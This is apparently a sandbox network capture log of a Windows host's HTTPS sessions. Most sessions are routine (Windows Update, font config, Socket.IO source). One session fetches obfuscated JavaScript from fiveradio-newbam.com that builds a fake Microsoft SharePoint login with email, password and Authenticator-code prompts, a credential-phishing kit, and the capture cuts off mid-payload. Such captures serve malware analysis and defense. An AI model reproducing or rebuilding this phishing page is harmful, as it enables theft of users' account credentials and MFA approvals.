2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 5c 6e 7d 5c 6e 65 78 70 6f 72 74 20 66 75 6e 63 74 69 6f 6e 20 68 61 73 42 69 6e 61 72 79 28 6f 62 6a 2c 20 74 6f 4a 53 4f 4e 29 20 7b 5c 6e 20 20 20 20 69 66 20 28 21 6f 62 6a 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 21 3d 3d 20 5c 22 6f 62 6a 65 63 74 5c 22 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 5c 6e 20 20 20 20 7d 5c 6e 20 20 20 20 69 66 20 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6f 62 6a 29 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 2c 20 6c 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 3b 20 69 2b 2b 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 68 61 73 42 69 6e 61 72 79 28 6f 62 6a 5b 69 5d 29 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 Data Ascii: \n}\nexport function hasBinary(obj, toJSON) {\n if (!obj \|\| typeof obj !== \"object\") {\n return false;\n }\n if (Array.isArray(obj)) {\n for (let i = 0, l = obj.length; i < l; i++) {\n if (hasBinary(obj[i])) {\n
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 63 74 5c 22 2c 20 28 29 20 3d 3e 20 7b 5c 6e 20 20 20 20 20 2a 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 73 6f 63 6b 65 74 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 29 3b 20 2f 2f 20 66 61 6c 73 65 5c 6e 20 20 20 20 20 2a 20 7d 29 3b 5c 6e 20 20 20 20 20 2a 5c 6e 20 20 20 20 20 2a 20 73 6f 63 6b 65 74 2e 6f 6e 28 5c 22 64 69 73 63 6f 6e 6e 65 63 74 5c 22 2c 20 28 29 20 3d 3e 20 7b 5c 6e 20 20 20 20 20 2a 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 73 6f 63 6b 65 74 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 29 3b 20 2f 2f 20 74 72 75 65 5c 6e 20 20 20 20 20 2a 20 7d 29 3b 5c 6e 20 20 20 20 20 2a 2f 5c 6e 20 20 20 20 67 65 74 20 64 69 73 63 6f 6e 6e 65 63 74 65 64 28 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 21 74 68 69 73 2e 63 6f 6e 6e 65 Data Ascii: ct\", () => {\n * console.log(socket.disconnected); // false\n * });\n \n socket.on(\"disconnect\", () => {\n * console.log(socket.disconnected); // true\n * });\n */\n get disconnected() {\n return !this.conne
2024-06-20 11:54:32 UTC	2410	IN	Data Raw: 20 20 7d 5c 6e 20 20 20 20 20 2a 20 7d 29 3b 5c 6e 20 20 20 20 20 2a 5c 6e 20 20 20 20 20 2a 20 40 72 65 74 75 72 6e 73 20 73 65 6c 66 5c 6e 20 20 20 20 20 2a 2f 5c 6e 20 20 20 20 74 69 6d 65 6f 75 74 28 74 69 6d 65 6f 75 74 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 74 68 69 73 2e 66 6c 61 67 73 2e 74 69 6d 65 6f 75 74 20 3d 20 74 69 6d 65 6f 75 74 3b 5c 6e 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 3b 5c 6e 20 20 20 20 7d 5c 6e 20 20 20 20 2f 2a 2a 5c 6e 20 20 20 20 20 2a 20 41 64 64 73 20 61 20 6c 69 73 74 65 6e 65 72 20 74 68 61 74 20 77 69 6c 6c 20 62 65 20 66 69 72 65 64 20 77 68 65 6e 20 61 6e 79 20 65 76 65 6e 74 20 69 73 20 65 6d 69 74 74 65 64 2e 20 54 68 65 20 65 76 65 6e 74 20 6e 61 6d 65 20 69 73 20 70 61 73 73 65 64 20 61 73 20 74 Data Ascii: }\n * });\n \n @returns self\n /\n timeout(timeout) {\n this.flags.timeout = timeout;\n return this;\n }\n /\n Adds a listener that will be fired when any event is emitted. The event name is passed as t
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 65 64 20 77 68 65 6e 20 61 6e 79 20 65 76 65 6e 74 20 69 73 20 65 6d 69 74 74 65 64 2e 20 54 68 65 20 65 76 65 6e 74 20 6e 61 6d 65 20 69 73 20 70 61 73 73 65 64 20 61 73 20 74 68 65 20 66 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 74 68 65 5c 6e 20 20 20 20 20 2a 20 63 61 6c 6c 62 61 63 6b 2e 5c 6e 20 20 20 20 20 2a 5c 6e 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 61 63 6b 6e 6f 77 6c 65 64 67 65 6d 65 6e 74 73 20 73 65 6e 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 61 72 65 20 6e 6f 74 20 69 6e 63 6c 75 64 65 64 2e 5c 6e 20 20 20 20 20 2a 5c 6e 20 20 20 20 20 2a 20 40 65 78 61 6d 70 6c 65 5c 6e 20 20 20 20 20 2a 20 73 6f 63 6b 65 74 2e 6f 6e 41 6e 79 4f 75 74 67 6f 69 6e 67 28 28 65 76 65 6e 74 2c 20 2e 2e 2e 61 72 67 73 29 20 3d 3e 20 7b 5c 6e Data Ascii: ed when any event is emitted. The event name is passed as the first argument to the\n * callback.\n \n Note: acknowledgements sent to the server are not included.\n \n @example\n * socket.onAnyOutgoing((event, ...args) => {\n
2024-06-20 11:54:32 UTC	16384	IN	Data Raw: 29 60 29 20 61 6e 64 20 61 73 20 61 5c 6e 2f 2f 20 6e 61 6d 65 73 70 61 63 65 20 28 65 2e 67 2e 20 60 69 6f 2e 63 6f 6e 6e 65 63 74 28 2e 2e 2e 29 60 29 2c 20 66 6f 72 20 62 61 63 6b 77 61 72 64 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 5c 6e 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 6c 6f 6f 6b 75 70 2c 20 7b 5c 6e 20 20 20 20 4d 61 6e 61 67 65 72 2c 5c 6e 20 20 20 20 53 6f 63 6b 65 74 2c 5c 6e 20 20 20 20 69 6f 3a 20 6c 6f 6f 6b 75 70 2c 5c 6e 20 20 20 20 63 6f 6e 6e 65 63 74 3a 20 6c 6f 6f 6b 75 70 2c 5c 6e 7d 29 3b 5c 6e 2f 2a 2a 5c 6e 20 2a 20 50 72 6f 74 6f 63 6f 6c 20 76 65 72 73 69 6f 6e 2e 5c 6e 20 2a 5c 6e 20 2a 20 40 70 75 62 6c 69 63 5c 6e 20 2a 2f 5c 6e 65 78 70 6f 72 74 20 7b 20 70 72 6f 74 6f 63 6f 6c 20 7d 20 66 72 6f 6d 20 5c 22 73 6f 63 Data Ascii: )`) and as a\n// namespace (e.g. `io.connect(...)`), for backward compatibility\nObject.assign(lookup, {\n Manager,\n Socket,\n io: lookup,\n connect: lookup,\n});\n/*\n Protocol version.\n \n @public\n */\nexport { protocol } from \"soc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49739	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5ryXU7UxaBcyhlc&MD=EsKP8uXc HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-06-20 11:54:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cb8ad752-8251-4569-a982-b5e703ff21ee MS-RequestId: 1a8ad251-3928-45ae-84f6-16a7e3e7f16d MS-CV: qBuXdoBXGUaC3ZQW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 20 Jun 2024 11:54:31 GMT Connection: close Content-Length: 24490
2024-06-20 11:54:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-06-20 11:54:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49744	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-20 11:54:32 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=188090 Date: Thu, 20 Jun 2024 11:54:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-06-20 11:54:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49745	35.190.80.1	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:32 UTC	486	OUT	POST /report/v4?s=Igr5gv16acxkvy9rwKOYOFjwXzsQ59xX4zHj3osy95ZMLOS4KFSekr8g0uYVZ5ACoAMd7y22vxQkVONuRBNW2HE37dsyRO1sDuYF9Ip5fCq08eZ%2F968btDyDJ%2FaIF1vl5SdImQ630A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 460 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:32 UTC	460	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 33 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 36 2e 31 35 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 76 65 72 61 64 69 6f 2d 6e 65 77 62 61 Data Ascii: [{"age":0,"body":{"elapsed_time":635,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.196.150","status_code":400,"type":"http.error"},"type":"network-error","url":"https://fiveradio-newba
2024-06-20 11:54:32 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Thu, 20 Jun 2024 11:54:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49749	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:37 UTC	671	OUT	GET /jsnom.js HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:37 UTC	792	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 97840 Connection: close X-Powered-By: Express Access-Control-Allow-Origin: * Cache-Control: public, max-age=14400 Last-Modified: Thu, 23 May 2024 07:44:29 GMT ETag: W/"17e30-18fa4689ae7" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HTzhMOWu%2BbnxRFiQX3MxFxu80aVnqKr19NJPAgLJjA2j383A9TWaFiaGLm%2FzBq9%2B2fMYMh99uSlZsE%2F3Nlru9gmiB2fO6E5rmNvRB5Xdm0UDPmx%2BzgLGB3xZB2L2JE0LX%2BCTnyCrlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b90ae3bf38c83-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:37 UTC	577	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 34 64 39 28 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 34 37 65 66 34 35 20 3d 20 5b 27 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4f 76 65 72 6c 61 79 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6f 76 65 72 6c 61 79 5c 78 32 32 3e 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 63 61 6e 76 61 73 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: function _0x34d9() { const _0x47ef45 = ['\x0a\x0a\x20\x20\x20\x20...\x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22></div>\x0a\x0a\x20\x20\x20\x20<div\x20class=\x22canvas\x22\x20style=\x22display:\x20none;\x22>\x0a\x20\x20\x20\x20\x20
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 30 5c 78 32 30 3c 62 72 3e 4d 69 63 72 6f 73 6f 66 74 c2 a9 5c 78 32 30 53 68 61 72 65 70 6f 69 6e 74 3c 2f 64 69 76 3e 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 70 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 6f 67 65 72 4d 65 5c 78 32 32 3e 3c 2f 70 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 6f 61 64 65 72 5c 78 32 32 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4c Data Ascii: 0\x20<br>Microsoft\x20Sharepoint</div>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22logerMe\x22></p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22loader\x22>Loading...</div>\x0a\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20...\x20L
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 78 32 32 65 6d 61 69 6c 49 6e 70 75 74 5c 78 32 32 5c 78 32 30 70 6c 61 63 65 68 6f 6c 64 65 72 3d 5c 78 32 32 45 6d 61 69 6c 2c 5c 78 32 30 70 68 6f 6e 65 5c 78 32 30 6f 72 5c 78 32 30 53 6b 79 70 65 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 74 65 78 74 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 5c 78 32 32 5c 78 32 30 6f 6e 6b 65 79 70 72 65 73 73 3d 5c 78 32 32 68 69 64 65 45 72 72 6f 72 54 65 78 74 28 74 68 69 73 2e 76 61 6c 75 65 29 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6c 61 62 65 6c 42 75 74 74 6f 6d 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 Data Ascii: x22emailInput\x22\x20placeholder=\x22Email,\x20phone\x20or\x20Skype\x22\x20type=\x22text\x22\x20name=\x22\x22\x20onkeypress=\x22hideErrorText(this.value)\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22labelButtom\x22>\x0a\x20\x2
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 50 41 53 53 57 4f 52 44 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 70 61 73 73 77 6f 72 64 42 6c 6f 63 Data Ascii: x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20PASSWORD\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20style=\x22display:\x20none;\x22\x20class=\x22passwordBloc
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 73 69 67 6e 49 6e 5c 78 32 32 3e 45 6e 74 65 72 5c 78 32 30 70 61 73 73 77 6f 72 64 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 70 61 73 73 77 6f 72 64 45 72 72 6f 72 5c 78 32 32 3e 53 65 72 76 65 72 5c 78 32 30 65 72 72 6f 72 2e 5c 78 32 30 70 6c 65 61 73 65 5c 78 32 30 74 72 79 5c 78 32 30 61 67 61 69 6e 2e 2e 2e 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22signIn\x22>Enter\x20password</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22passwordError\x22>Server\x20error.\x20please\x20try\x20again...</a>\x0a\x20\x20\x20\x20\x20\x20
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 50 61 73 73 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 42 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 73 75 62 6d 69 74 5c 78 32 32 3e 53 69 67 6e 5c 78 32 30 69 6e 3c 2f 62 75 74 74 6f 6e 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 62 72 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 4e 4f 5c 78 32 30 50 41 53 53 5c 78 32 30 2d 5c 78 32 30 4d 53 5c 78 32 30 41 50 50 5c 78 Data Ascii: Pass\x22\x20class=\x22formButton\x22\x20type=\x22submit\x22>Sign\x20in</button>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20...\x20NO\x20PASS\x20-\x20MS\x20APP\x
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 72 69 66 79 5f 66 6c 75 65 6e 74 5f 61 75 74 68 65 6e 74 69 63 61 74 6f 72 5f 35 39 38 39 32 66 31 65 30 35 65 33 61 64 66 39 66 64 32 66 37 31 62 34 32 64 39 32 61 32 37 66 2e 73 76 67 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 70 3e 4f 70 65 6e 5c 78 32 30 79 6f 75 72 5c 78 32 30 41 75 74 68 65 6e 74 69 63 61 74 6f 72 5c 78 32 30 61 70 70 2c 5c 78 32 30 61 6e 64 5c 78 32 30 65 6e 74 65 72 5c 78 32 30 74 68 65 5c 78 32 30 6e 75 6d 62 65 72 5c 78 32 30 73 68 6f 77 6e 5c 78 32 30 74 6f 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 2e e2 80 8b e2 80 8b 3c 2f 70 3e 5c 78 30 61 5c 78 32 Data Ascii: rify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>Open\x20your\x20Authenticator\x20app,\x20and\x20enter\x20the\x20number\x20shown\x20to\x20sign\x20in.</p>\x0a\x2
2024-06-20 11:54:37 UTC	1369	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 65 6d 61 69 6c 4c 61 62 65 6c 5c 78 32 32 3e 65 6d 61 69 6c 40 67 6d 61 69 6c 2e 63 6f 6d 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 73 69 67 6e 49 6e 5c 78 32 32 3e 41 70 70 72 6f 76 65 5c 78 32 30 Data Ascii: 